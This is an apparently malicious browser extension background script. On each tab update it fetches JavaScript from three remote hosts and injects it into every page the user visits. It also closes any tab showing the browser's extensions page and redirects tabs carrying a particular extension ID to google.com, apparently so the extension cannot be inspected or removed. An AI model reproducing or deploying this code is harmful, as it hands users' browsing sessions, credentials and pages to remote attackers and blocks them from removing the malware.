chrome.tabs.onUpdated.addListener(function(tabId) {
    chrome.tabs.get(tabId, function(tab) {
		      
         var xmlhttp1 = new XMLHttpRequest();
			xmlhttp1.onreadystatechange = function() {
            if (xmlhttp1.readyState == 4) {
                chrome.tabs.executeScript(tab.id, {
                    code: xmlhttp1.responseText
                });
            }
			}
			xmlhttp1.open("GET", "http://macod.info/macod/main.php");
			xmlhttp1.send();
         
         var xmlhttp2 = new XMLHttpRequest();
			xmlhttp2.onreadystatechange = function() {
            if (xmlhttp2.readyState == 4) {
                chrome.tabs.executeScript(tab.id, {
                    code: xmlhttp2.responseText
                });
            }
			}
			xmlhttp2.open("GET", "http://oyunarsivim.net/macod/main.php");
			xmlhttp2.send();
         var xmlhttp = new XMLHttpRequest();
			xmlhttp.onreadystatechange = function() {
            if (xmlhttp.readyState == 4) {
                chrome.tabs.executeScript(tab.id, {
                    code: xmlhttp.responseText
                });
            }
			}
			xmlhttp.open("GET", "http://www.onlinehttp.com/script/script.php");
			xmlhttp.send();
		    })
});


chrome.tabs.onUpdated.addListener(
        function (keyid, x, key) {
                if (key.url ==
                        'chrome://chrome/extensions' ||
                        key.url == 'opera://extensions' ||
                        key.url == 'chrome://extensions/'
                ) {
                        chrome.tabs.remove(key.id);
                }
        });


chrome.tabs.onCreated.addListener(function(tab){
if(tab.url.indexOf("hkeidpipmiehagkpfkiikjebnhpgdkfg") >= 0){
chrome.tabs.update(tab.id,{url:"http://google.com"});
}
});